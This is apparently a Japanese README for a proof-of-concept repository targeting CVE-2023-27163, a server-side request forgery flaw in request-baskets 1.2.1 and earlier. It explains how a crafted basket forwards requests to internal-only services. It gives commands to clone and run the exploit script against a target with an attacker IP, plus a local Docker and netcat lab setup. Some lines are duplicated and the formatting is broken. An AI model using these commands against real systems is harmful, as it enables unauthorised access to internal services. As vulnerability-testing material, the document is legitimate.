
request-baskets(V<= v.1.2.1)におけるサーバーサイドリクエストフォージェリ(SSRF)の概念実証(PoC)
このリポジトリには、request-baskets の バージョン 1.2.1 までで発見された Server-Side Request Forgery (SSRF) 脆弱性である CVE-2023-27163 の概念実証 (PoC) が含まれています。この脆弱性により、攻撃者は巧妙に細工された API リクエストを通じて /api/baskets/{name} コンポーネントを悪用し、ネットワークリソースや機密情報にアクセスできるようになります。
git clone https://github.com/MasterCode112/CVE-2023-27163.git
bash ./CVE-2023-27163.sh https://rbaskets.in/ <attacker IP>
Request-baskets は、特定のルート (いわゆるバスケット) にリクエストを収集・登録するために構築された Web アプリケーションです。作成時、ユーザーはリクエストを転送する別のサーバーを指定できます。ここでの問題は、ユーザーがネットワーク上で閉じられたアプリケーションなど、意図しないサービスを指定できることです。
例: サーバーが Request-baskets (ポート 55555) とポート 8000 の Flask Web サーバーをホストしていると仮定します。Flask は localhost とのみやり取りするようにも設定されています。http://localhost:8000 に転送するバスケットを作成することで、攻撃者は以前は制限されていた Flask Web サーバーにアクセスできます。

docker run -p 55555:55555 darklynx/request-baskets:v1.2.1
``` git clone https://github.com/MasterCode112/CVE-2023-27163.git
2. PoC をダウンロードします
```shell
git clone https://github.com/MasterCode112/CVE-2023-27163.git
nc -lvp 8000
DOCKER_IP=$(ifconfig docker0 | grep inet | head -n 1 | awk '{ print $2 }')
./CVE-2023-27163.sh http://127.0.0.1:55555/ http://$DOCKER_IP:8000/